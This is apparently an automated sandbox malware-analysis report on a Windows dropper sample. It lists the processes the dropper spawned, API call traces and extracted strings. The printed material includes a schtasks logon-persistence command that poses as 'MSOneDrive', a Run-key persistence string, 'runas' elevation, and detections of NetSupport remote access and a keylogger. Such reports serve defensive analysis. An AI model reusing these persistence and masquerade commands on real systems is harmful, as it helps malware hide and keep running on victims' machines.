2024-09-21 12:45:38 UTC	8000	IN	Data Raw: 04 7d 3a 3b 23 b3 d9 69 9e cc 4e f3 fc 75 62 45 6a dd e3 0b 45 75 9c f2 a8 86 c8 33 28 12 60 7a 52 46 c4 6c 7d cb 0f 36 cd d1 03 9d 6e 59 30 56 87 d3 b4 22 9c 01 87 a3 bb 96 97 f6 a4 f6 8f 26 99 82 b4 61 0f 04 6d 6a 87 aa 82 16 1b b2 49 50 fb 31 e8 70 bb 23 e9 e5 27 35 b2 26 99 82 b4 85 e8 8c a8 0e 63 41 3a 23 aa c3 89 ed 04 bf 58 62 3e 9b 32 75 42 46 c2 90 11 dd a4 4d 9c 26 6d e2 8c d2 26 ce 28 0d e2 54 6e 9e 22 d5 89 e8 11 a7 59 79 64 29 cb 20 4b 5b 06 05 1d 72 64 bf 88 8a 51 9e 8c 73 93 f2 a4 6b 14 f9 c1 e4 af cd 2b 59 cc 76 60 83 53 57 ba ea 71 cb 2b 0d 5d 0f a8 c1 38 38 98 63 7b 43 41 5f 48 b9 cb ca b1 69 55 d0 ed 4b 45 56 5b 6d 97 5f 3f 69 71 b5 80 90 6a 1f 44 67 6e 5c 45 6a 8f 86 2d a7 3c 69 46 5c 56 d4 1d a8 fa 1c 36 15 1a 99 d0 8a 86 d0 9c 68 4f Data Ascii: }:;#iNubEjEu3(`zRFl}6nY0V"&amjIP1p#'5&cA:#Xb>2uBFM&m&(Tn"Yyd) K[rdQsk+Yv`SWq+]88c{CA_HiUKEV[m_?iqjDgn\Ej-<iF\V6hO

Target ID:	3
Start time:	08:45:28
Start date:	21/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe"
Imagebase:	0xc80000
File size:	140'800 bytes
MD5 hash:	AACE5ED77F7D47CAD3E45E0CCDC5411C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:45:38
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "MSOneDrive" /tr "C:\Users\user\AppData\Local/MSOneDrive\client32.exe" /RL HIGHEST
Imagebase:	0xb20000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:45:38
Start date:	21/09/2024
Path:	C:\Users\user\AppData\Local\MSOneDrive\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local/MSOneDrive\client32.exe
Imagebase:	0x9d0000
File size:	107'376 bytes
MD5 hash:	F6ABEF857450C97EA74CD8F0EB9A8C0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000000.1369497547.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.3742058275.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 12%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:45:38
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:45:40
Start date:	21/09/2024
Path:	C:\Users\user\AppData\Local\MSOneDrive\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local/MSOneDrive\client32.exe
Imagebase:	0x9d0000
File size:	107'376 bytes
MD5 hash:	F6ABEF857450C97EA74CD8F0EB9A8C0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000D.00000000.1388077049.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000D.00000002.1390661255.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.8%
Total number of Nodes:	1295
Total number of Limit Nodes:	23

Executed Functions

Function 00C81A80 Relevance: 96.8, APIs: 20, Strings: 35, Instructions: 535
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00C81E2D
lstrlenW.KERNEL32(00000000), ref: 00C81E34
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00000000,00000000), ref: 00C81E46
RegCloseKey.ADVAPI32(?), ref: 00C81E4F
GetProcessHeap.KERNEL32(00000008,0000020A,771AF380,00000000,00000000), ref: 00C81E73
HeapAlloc.KERNEL32(00000000), ref: 00C81E76
GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00C81E88
GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00C81EA3
HeapAlloc.KERNEL32(00000000), ref: 00C81EA6
wsprintfW.USER32 ref: 00C8204E
GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00C8205E
HeapAlloc.KERNEL32(00000000), ref: 00C82061
wsprintfW.USER32 ref: 00C82449
ShellExecuteW.SHELL32(00000000,runas,?,?,00000000,00000000), ref: 00C8246A
GetProcessHeap.KERNEL32(00000000,?), ref: 00C82478
HeapFree.KERNEL32(00000000), ref: 00C8247B
GetProcessHeap.KERNEL32(00000000,?), ref: 00C82480
HeapFree.KERNEL32(00000000), ref: 00C82483
GetProcessHeap.KERNEL32(00000000,?), ref: 00C8248D
HeapFree.KERNEL32(00000000), ref: 00C82490

Strings

L, xrefs: 00C8210E
C, xrefs: 00C821BC
#, xrefs: 00C82156
I, xrefs: 00C821A8
?, xrefs: 00C81F65
p, xrefs: 00C81F2F
invalid distance code, xrefs: 00C823F0
/c "%s", xrefs: 00C82104
#, xrefs: 00C8213E
$, xrefs: 00C82206
", xrefs: 00C82126
runas, xrefs: 00C82073, 00C82463
cmd.exe, xrefs: 00C8222A
$, xrefs: 00C81C77
L, xrefs: 00C8216E
y, xrefs: 00C81F14
invalid literal/length code, xrefs: 00C82326
%s\schtasks.exe, xrefs: 00C81AA6
b, xrefs: 00C81EDE
L, xrefs: 00C821F8
i, xrefs: 00C81F80
L, xrefs: 00C821E4
N, xrefs: 00C821D0
%, xrefs: 00C821FF
L, xrefs: 00C8219E
need dictionary, xrefs: 00C8229A
?, xrefs: 00C8220D
>, xrefs: 00C821EE
z, xrefs: 00C81F4A
/create /sc ONLOGON /tn "%s" /tr "%s" /RL HIGHEST, xrefs: 00C81C58, 00C81EEF
N, xrefs: 00C821B2
;, xrefs: 00C81C05
b, xrefs: 00C81EF9
L, xrefs: 00C820DE
l, xrefs: 00C82069

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Process$AllocFree$wsprintf$CloseDirectoryExecuteOpenShellSystemValuelstrlen
String ID: "$#$#$$$$$%$%s\schtasks.exe$/c "%s"$/create /sc ONLOGON /tn "%s" /tr "%s" /RL HIGHEST$;$>$?$?$C$I$L$L$L$L$L$L$N$N$b$b$cmd.exe$i$invalid distance code$invalid literal/length code$l$need dictionary$p$runas$y$z
API String ID: 2564131513-3794329617
Opcode ID: 85d8e7683398652a5c1f9c6c945f4ff55aad10e324f980d5cb7228b9f28cc282
Instruction ID: 0be064584e55fbdad786df052a26b5dceeb6ab8b6e7e39911623bb35120697dd
Opcode Fuzzy Hash: 85d8e7683398652a5c1f9c6c945f4ff55aad10e324f980d5cb7228b9f28cc282
Instruction Fuzzy Hash: C142D928810269D9CB20EFA1A8087FEB6F0FF3D715F41505BE588EB560F7B84985DB19

Function 00C81420 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 294
memorysleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00C81460
HeapAlloc.KERNEL32(00000000), ref: 00C81463
Sleep.KERNEL32(000003E8), ref: 00C814AD
ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000104), ref: 00C814E3
SHCreateDirectoryExW.SHELL32(00000000,00000000,00000000), ref: 00C814EE
SetFileAttributesW.KERNEL32(00000000,00000002), ref: 00C81506
GetProcessHeap.KERNEL32(00000008,0000020A,00000000,00000000,000000FF,?), ref: 00C815B9
HeapAlloc.KERNEL32(00000000), ref: 00C815BC
PathCombineW.SHLWAPI(00000000,?,?), ref: 00C815D6
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C8160E
HeapFree.KERNEL32(00000000), ref: 00C81611
lstrcatW.KERNEL32(00000000,?), ref: 00C81760
PathFileExistsW.SHLWAPI(00000000), ref: 00C81767
GetCurrentProcess.KERNEL32(00000008,?), ref: 00C81786
OpenProcessToken.ADVAPI32(00000000), ref: 00C8178D
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00C817B0
CloseHandle.KERNEL32(?), ref: 00C817C2

Part of subcall function 00C825B0: InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 00C825E1
Part of subcall function 00C825B0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00C825FB
Part of subcall function 00C825B0: InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00C82644
Part of subcall function 00C825B0: GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 00C8265A
Part of subcall function 00C825B0: HeapAlloc.KERNEL32(00000000), ref: 00C8265D
Part of subcall function 00C825B0: GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 00C826AA
Part of subcall function 00C825B0: RtlAllocateHeap.NTDLL(00000000), ref: 00C826AD
Part of subcall function 00C825B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00C826D7
Part of subcall function 00C825B0: RtlFreeHeap.NTDLL(00000000), ref: 00C826DA
Part of subcall function 00C825B0: InternetCloseHandle.WININET(?), ref: 00C826E6
Part of subcall function 00C825B0: InternetCloseHandle.WININET(?), ref: 00C826F3

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000008,00000000,00000000,00000044,?), ref: 00C8181B
CloseHandle.KERNEL32(?), ref: 00C81831
CloseHandle.KERNEL32(?), ref: 00C81839
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00C8183E
HeapFree.KERNEL32(00000000), ref: 00C81841

Strings

K, xrefs: 00C816B1
D, xrefs: 00C817EA
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00C8164E
x, xrefs: 00C8165D
V, xrefs: 00C816C6

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Process$CloseHandleInternet$AllocFileFreeOpen$CreatePathToken$AllocateAttributesCombineCurrentDirectoryEnvironmentExistsExpandInformationReadSleepStringslstrcat
String ID: D$K$Software\Microsoft\Windows\CurrentVersion\Run$V$x
API String ID: 4228357295-1478008780
Opcode ID: 25c37558f4549876201c7b8a18bc3c11cdb4a5662bb15741e4b886d8806e5f47
Instruction ID: 0bfb090e78a2ef204b3b4e747b277be24a5cf45f06dc57c5a6c82b6ba403d3c7
Opcode Fuzzy Hash: 25c37558f4549876201c7b8a18bc3c11cdb4a5662bb15741e4b886d8806e5f47
Instruction Fuzzy Hash: AFC19074900219ABCB20AFA5DC4CBAEB7F8FF1D708F14405AF959E7250EB749981CB19

Function 00C81000 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 343
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpA.KERNEL32(00000000,?), ref: 00C810A2
GetProcessHeap.KERNEL32(00000008,?), ref: 00C810C7
HeapAlloc.KERNEL32(00000000), ref: 00C810CE
lstrlenA.KERNEL32(M1Zw0w66GQYFi), ref: 00C810EC
GetProcessHeap.KERNEL32(00000008,?), ref: 00C8123C
HeapAlloc.KERNEL32(00000000), ref: 00C81243
GetProcessHeap.KERNEL32(00000008,00000002), ref: 00C81285
HeapAlloc.KERNEL32(00000000), ref: 00C8128C
GetProcessHeap.KERNEL32(00000008,00000047), ref: 00C812E7
HeapAlloc.KERNEL32(00000000), ref: 00C812EE
GetProcessHeap.KERNEL32(00000008,00000047), ref: 00C81333
HeapAlloc.KERNEL32(00000000), ref: 00C8133A
GetProcessHeap.KERNEL32(00000008,00000047), ref: 00C8137F
HeapAlloc.KERNEL32(00000000), ref: 00C81386
GetProcessHeap.KERNEL32(00000008,00000049), ref: 00C813E5
HeapAlloc.KERNEL32(00000000), ref: 00C813EC

Strings

M1Zw0w66GQYFi, xrefs: 00C810E7, 00C8110D

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$AllocProcess$lstrcmplstrlen
String ID: M1Zw0w66GQYFi
API String ID: 522894340-229323296
Opcode ID: a4ff0d740bf2434099dd6e43dc6e8ee8c23c0149558b3616bf98b1b30a6a721d
Instruction ID: b81846291d439628f183adb725027f56a3eb256efaf86af5999c7396d18d4801
Opcode Fuzzy Hash: a4ff0d740bf2434099dd6e43dc6e8ee8c23c0149558b3616bf98b1b30a6a721d
Instruction Fuzzy Hash: 23D10571C041659FDB10DFA8C8986FEBBF8FF19314F1841AAE895D7342D6399A05CBA0

Function 00C825B0 Relevance: 19.6, APIs: 13, Instructions: 108
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 00C825E1
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00C825FB
InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00C82644
GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 00C8265A
HeapAlloc.KERNEL32(00000000), ref: 00C8265D
GetProcessHeap.KERNEL32(00000000,00000000,0000000100000000), ref: 00C82668
RtlReAllocateHeap.NTDLL(00000000), ref: 00C8266B
GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 00C826AA
RtlAllocateHeap.NTDLL(00000000), ref: 00C826AD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00C826D7
RtlFreeHeap.NTDLL(00000000), ref: 00C826DA
InternetCloseHandle.WININET(?), ref: 00C826E6
InternetCloseHandle.WININET(?), ref: 00C826F3

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Internet$Process$AllocateCloseHandleOpen$AllocFileFreeRead
String ID:
API String ID: 1681177425-0
Opcode ID: 042ac669ed9106e2b2b20f6d2ed08ccf12251e5c64973e35544f4882bba4f7b0
Instruction ID: d62234dd90cc3c7df30153a5f630705ff6ea4d312b5a765bf9dcc539f1906e17
Opcode Fuzzy Hash: 042ac669ed9106e2b2b20f6d2ed08ccf12251e5c64973e35544f4882bba4f7b0
Instruction Fuzzy Hash: D5313E71900229ABDB609B69DC4DF9EBBFCFF89714F0081A9B55993250DE309E44CFA4

Function 00C869E0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 330
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 00C86C6A
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00C86CFF
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00C86D8F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00C86D96
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00C86DA7

Strings

%s%s, xrefs: 00C86C33
:, xrefs: 00C86BF6
%s%s%s, xrefs: 00C86C15

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: File$CloseHandle$CreateTimeWrite
String ID: %s%s$%s%s%s$:
API String ID: 3400595745-3034790606
Opcode ID: ef23ef95af1e0f2e443e92f8250e99d50b1d26a1ad64e1425c8d87c097d4c4df
Instruction ID: aedb140a2ed7a29af89b41f7f11a3188789aa088325753665a9d1c0d22d3d352
Opcode Fuzzy Hash: ef23ef95af1e0f2e443e92f8250e99d50b1d26a1ad64e1425c8d87c097d4c4df
Instruction Fuzzy Hash: 2BB1E7716006149BDB34FF64DC85BEAB3B4FF04318F10056EE96A97281E770AE94DB98

Function 00C86830 Relevance: 6.2, APIs: 4, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 00C868B7
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000000), ref: 00C868CB
GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 00C869A7
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000000), ref: 00C869BB

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 24cac2fe1843fcc1d59e70014a3f6dac8bead21dfb5a378f92c56ac8a5249e52
Instruction ID: b91a41e23a9c9544103707d87c638511370ce6b94fe4c5d8e91b92104e3f8d66
Opcode Fuzzy Hash: 24cac2fe1843fcc1d59e70014a3f6dac8bead21dfb5a378f92c56ac8a5249e52
Instruction Fuzzy Hash: 1E5107719002189BCB24FF78D885BEAB3B8EF44318F14466AE929D71C1EB319E55CB58

Function 00C82710 Relevance: 4.6, APIs: 3, Instructions: 53
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C81000: lstrcmpA.KERNEL32(00000000,?), ref: 00C810A2
Part of subcall function 00C81000: GetProcessHeap.KERNEL32(00000008,?), ref: 00C810C7
Part of subcall function 00C81000: HeapAlloc.KERNEL32(00000000), ref: 00C810CE
Part of subcall function 00C81000: lstrlenA.KERNEL32(M1Zw0w66GQYFi), ref: 00C810EC

CreateMutexW.KERNEL32(00000000,00000000,?), ref: 00C82731
GetLastError.KERNEL32 ref: 00C82737
ExitProcess.KERNEL32 ref: 00C8277F

Part of subcall function 00C824B0: GetCurrentProcess.KERNEL32(00000008,?), ref: 00C824CC
Part of subcall function 00C824B0: OpenProcessToken.ADVAPI32(00000000), ref: 00C824D3
Part of subcall function 00C824B0: GetTokenInformation.ADVAPI32(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00C824F3
Part of subcall function 00C824B0: CloseHandle.KERNEL32(?), ref: 00C82502

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: Process$HeapToken$AllocCloseCreateCurrentErrorExitHandleInformationLastMutexOpenlstrcmplstrlen
String ID:
API String ID: 2480484397-0
Opcode ID: 95a2a41cb1062874d5cd3478c4397b61a0fb01b0396995c6c4d1f0a67054e12b
Instruction ID: e338a9f2ea0afe861962d36ded53f1eb462d492591d0ff06ea77cc498f862623
Opcode Fuzzy Hash: 95a2a41cb1062874d5cd3478c4397b61a0fb01b0396995c6c4d1f0a67054e12b
Instruction Fuzzy Hash: 9101AD301083059FDB14BB55DC0EB2DB7E5EB84349F148A2DF9B4410E1EB308954EBAB

Function 00C8DC45 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00C90BB6,?,00000000,?,?,00C90BDB,?,00000007,?,?,00C91029,?,?), ref: 00C8DC5B
GetLastError.KERNEL32(?,?,00C90BB6,?,00000000,?,?,00C90BDB,?,00000007,?,?,00C91029,?,?), ref: 00C8DC66

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 53212b4edc6f0539c86119ef9353bbe09c03901274be05792078adf28cf7e38c
Instruction ID: 6ecd1fa4c4addb958113c20cfaa1ea20ae5c3453336def2d16df2a2458cb4684
Opcode Fuzzy Hash: 53212b4edc6f0539c86119ef9353bbe09c03901274be05792078adf28cf7e38c
Instruction Fuzzy Hash: 7DE08C32140218ABCF113BA8AD0DF993BA8EB09399F504025F6198A0A0CB70C940CB98

Function 00C8DC7F Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,00C8718C,00000000,?,00C86E07,0000044C,CA1DECC3,771AF380,00000000,00000000,000000FF,?,00C814D5), ref: 00C8DCB1

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5371f2af1d0d50e689f5e6eb44a3602c0fb72e3549a6e38a543c244be8908e00
Instruction ID: 9adfbbcae7f68fe92ced24c0d21d43b0dbfc06d02ca15d77f82c77ac5c459b7c
Opcode Fuzzy Hash: 5371f2af1d0d50e689f5e6eb44a3602c0fb72e3549a6e38a543c244be8908e00
Instruction Fuzzy Hash: 46E06D3164422067DB21376AAC04B5A7B48AF427B8F150161EC27961D0CBA0DE01D3AD

Non-executed Functions

Function 00C86120 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 518COMMON

Download Yara Rule

Strings

/..\, xrefs: 00C86415
\..\, xrefs: 00C863D0
/../, xrefs: 00C863FE
\../, xrefs: 00C863E7

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: /../$/..\$\../$\..\
API String ID: 0-3885502717
Opcode ID: 5080549309a826ca9b32cdc4d2358fb441fa955f9b99f6da77138be75d9720cf
